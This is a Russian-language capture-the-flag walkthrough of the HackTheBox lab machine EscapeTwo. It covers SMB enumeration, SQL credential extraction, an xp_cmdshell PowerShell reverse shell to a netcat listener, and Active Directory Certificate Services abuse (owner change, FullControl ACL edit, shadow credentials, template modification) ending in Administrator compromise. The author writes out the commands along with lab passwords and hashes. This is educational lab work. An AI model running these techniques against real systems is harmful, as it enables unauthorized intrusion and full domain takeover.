EscapeTwo
В текущей задаче нам уже дают креды rose/KxEPkKe6R8su
Но мы все равно запускаем nmap
Для начала добавляем в hosts
echo '10.10.11.51 escapetwo.htb' | sudo tee -a /etc/hosts
┌─[maus@parrot]─[~] └──╼ $nmap -sC -sV -Pn 10.10.11.51 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-16 01:07 EST Nmap scan report for EscapeTwo.htb (10.10.11.51) Host is up (0.11s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-16 06:07:40Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-01-16T06:09:01+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-01-16T06:09:01+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-ntlm-info: | 10.10.11.51:1433: | Target_Name: SEQUEL | NetBIOS_Domain_Name: SEQUEL | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: sequel.htb | DNS_Computer_Name: DC01.sequel.htb | DNS_Tree_Name: sequel.htb |_ Product_Version: 10.0.17763 | ms-sql-info: | 10.10.11.51:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 |_ssl-date: 2025-01-16T06:09:01+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2025-01-16T04:02:53 |_Not valid after: 2055-01-16T04:02:53 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 |_ssl-date: 2025-01-16T06:09:01+00:00; 0s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-01-16T06:09:01+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2025-01-16T06:08:24 |_ start_date: N/A
В выводе nmap мы видим, что есть домен sequel.htb и контроллер домена DC01.sequel.htb
На всякий случай прописываем и их в hosts
echo '10.10.11.51 'DC01.sequel.htb' | sudo tee -a /etc/hosts && echo 'sequel.htb' | sudo tee -a /etc/hosts
В выводе nmap также видим, что открыт 445 порт, а значит можно попробовать smbmap
Ага, удачная аутентификация, а значит можно подключаться через smbclient
Изучаем доступные каталоги и видим, что в каталоге Accounting Department имеются файлы, которые потенциально интересны. Скачиваем их через get
Если мы попытаемся их открыть, то особо ничего не получится (по крайней мере у меня не вышло), но мы знаем что расширение xlsx это по сути архив, поэтому смело распаковываем через unzip
Нам распакуется файл sharedStrings.xml в которой будут логины и пароли с SQL, а также админ SQL
Получаем пароль и подключаемся
После того как подключились, нужно прокинуть шелл для простоты работы
Включаем для начала enable_xp_cmdshell и выбираем powershell в base64, шелл можно сделать на сайте revshells.com. Не забываем у себя открыть nc -nlvp 3344
Итак, после появления шелла изучаем систему. Видим, что в пользователях есть некий ryan Гослинг
Смотрим дальше, нам нужно что-то, что даст нам хотя бы намеки на другие креды.
На диске C видим интересную папку SQL2019, а внутри файл конфигурации и кредами в открытом виде.
Мы же помним, что нашли какого-то Райана, а тут и пароль какой-то интересный. Проверяем в netexec на валидность
Опа, вот это поворот. Не теряя времени подключаемся evil-winrm
Лутаем флаг юзера, и переходим к руту.
Добавляем в hosts Sequel.htb и dc01.seqeul.htb
Так как это DC, попробуем проанализировать его через bloodhound
bloodhound-python -u ryan -p "WqSZAFXXXXXXXX" -d sequel.htb -ns 10.10.xx.xx -c All INFO: Found AD domain: sequel.htb INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) INFO: Connecting to LDAP server: dc01.sequel.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc01.sequel.htb INFO: Found 10 users INFO: Found 59 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: DC01.sequel.htb INFO: Done in 00M 16S
Видим, что у Райана есть разрешение WriteOwner на CA_SVC, а это эмитент сертификата. Значит мы можем назначить Райана владельцем SA_SVC
bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 set owner ca_svc ryan
dacledit.py -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' '10.10.11.51'/'ryan':'WqSZAF6CysDQbGb3'
Получаем shadow креды и NTHash
certipy shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -dc-ip 10.10.11.51 -ns 10.10.11.51 -target 10.10.11.51 -account ca_svc
Если возникает ошибка, установите время как на сервере через ntpdate
Через Certyfi нужно узнать имя объекта
*Evil-WinRM* PS C:\temp> ./Certify.exe find /domain:sequel.htb
KRB5CCNAME=$PWD/ca_svc.ccache certipy find -scheme ldap -k -debug -target DC01.sequel.htb -dc-ip 10.10.11.51 -vulnerable -stdout
Такой же результат будет.
Видим, что ca_svc имеет переопределяемые разрешения для этого сертификата, делаем это
KRB5CCNAME=$PWD/ca_svc.ccache certipy template -k -template DunderMifflinAuthentication -target DC01.sequel.htb -dc-ip 10.10.11.51
Используем ca_svc хеш учетных данных пользователя для получения билета аутентификации целевой системы через запрос Kerberos
certipy req -u ca_svc -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -ca sequel-DC01-CA -target DC01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
Тут могут быть проблемы с самой машиной, так что нужно пытаться несколько раз, и ребутать машину. Ошибка будет что сертификат .pfx генерироваться не будет, только .key, а он нам не нужен.
Получаем хэш администратора через сертификат
certipy auth -pfx administrator_10.pfx -domain sequel.htb
Получаем хеш, подключаемся через evil-winrm и лутаем root флаг, мы молодцы.